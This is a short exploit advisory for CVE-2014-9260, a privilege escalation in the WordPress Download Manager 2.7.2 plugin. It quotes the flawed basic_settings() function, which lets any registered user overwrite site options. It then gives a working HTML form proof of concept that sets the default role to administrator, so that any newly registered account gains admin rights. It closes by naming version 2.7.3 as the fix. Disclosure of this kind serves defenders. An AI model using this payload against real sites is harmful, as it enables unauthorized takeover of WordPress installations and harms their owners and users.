WordPress Plugin Download Manager 2.7.2 - Privilege Escalation

# Exploit Title: WordPress Download Manager 2.7.2 Privilege Escalation

# Date: 24-11-2014

# Software Link: https://wordpress.org/plugins/download-manager/

# Exploit Author: Kacper Szurek

# Contact: http://twitter.com/KacperSzurek

# Website: http://security.szurek.pl/

# Category: webapps

# CVE: CVE-2014-9260



1. Description

  

Every registered user can update every WordPress options using basic_settings() function.



function basic_settings()

{

    if (isset($_POST['task']) && $_POST['task'] == 'wdm_save_settings') {



        foreach ($_POST as $optn => $optv) {

            update_option($optn, $optv);

        }

        if (!isset($_POST['__wpdm_login_form'])) delete_option('__wpdm_login_form');







        die('Settings Saved Successfully');

    }

    include('settings/basic.php');

}



http://security.szurek.pl/wordpress-download-manager-272-privilege-escalation.html



2. Proof of Concept



Login as standard user (created using wp-login.php?action=register) then:



<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wdm_settings">

    <input type="hidden" name="task" value="wdm_save_settings">

    <input type="hidden" name="section" value="basic">

    <input type="hidden" name="default_role" value="administrator">

    <input type="submit" value="Hack!">

</form>



After that create new user using wp-login.php?action=register. Newly created user will have admin privileges.



3. Solution:

  

Update to version 2.7.3